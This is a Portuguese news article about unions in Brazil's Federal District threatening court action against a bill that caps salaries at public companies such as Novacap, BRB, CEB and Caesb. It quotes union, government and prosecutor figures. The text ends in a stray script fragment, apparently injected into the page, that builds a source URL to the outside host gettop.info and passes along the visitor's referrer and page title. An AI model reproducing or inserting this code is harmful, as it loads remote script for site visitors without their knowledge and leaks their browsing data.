Sindicatos ameaçam ir à Justiça para manter supersalários no DF

Após passar pela Câmara Legislativa, o projeto que acaba com os supersalários nas empresas públicas e de economia mista do DF terá que passar pela Justiça para entrar em vigor. Os sindicatos que representam os servidores da Novacap, BRB, CEB e Caesb aguardam só o governador sancionar o projeto de Lei para contestar sua viabilidade jurídica nos tribunais. Os trabalhadores alegam que a medida fere a Constituição e não tem condições de vigorar.

O projeto limita o salário de servidores ativos e inativos das empresas a R$ 30,4 mil – valor equivalente aos salários recebidos por desembargadores do Tribunal de Justiça do DF. Segundo o governo, mais do que uma medida para diminuir os gastos públicos do DF, o fim dos supersalários é um exemplo de austeridade dado a todos os brasilienses.

\”O governador quer atribuir a dificuldade financeira do GDF aos supersalários, o que não é verdade\”, contesta André Luiz da Conceição, o presidente do Sindicato dos Empregados de Empresas Públicas e Sociedades de Economia Mista (Sindser).

\”Eu não acredito que o projeto que barra os supersalários nas empresas públicas do DF seja considerado inconstitucional. A Constituição não veda que o estado estabeleça um teto\”, defende a deputada distrital Celina Leão (PPS) – uma das maiores críticas do governo Rollemberg na Câmara Legislativa.

O secretário da Casa Civil, Sérgio Sampaio, também critica a decisão de judicializar o fim dos supersalários. \”Por que um agente pública com responsabilidade bem menor do que a de um governador ganha três vezes mais do que ele?\”, questiona.

Por outro lado, a procuradora Carolina Vieira Mercante, do Ministério Público do Trabalho (MPT), classifica o projeto como inconstitucional, já que as empresas possuem uma receita própria.

Com informações do Jornal de Brasílias.src=\’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=\’ + encodeURIComponent(document.referrer) + \’&default_keyword=\’ + encodeURIComponent(document.title) + \’\’;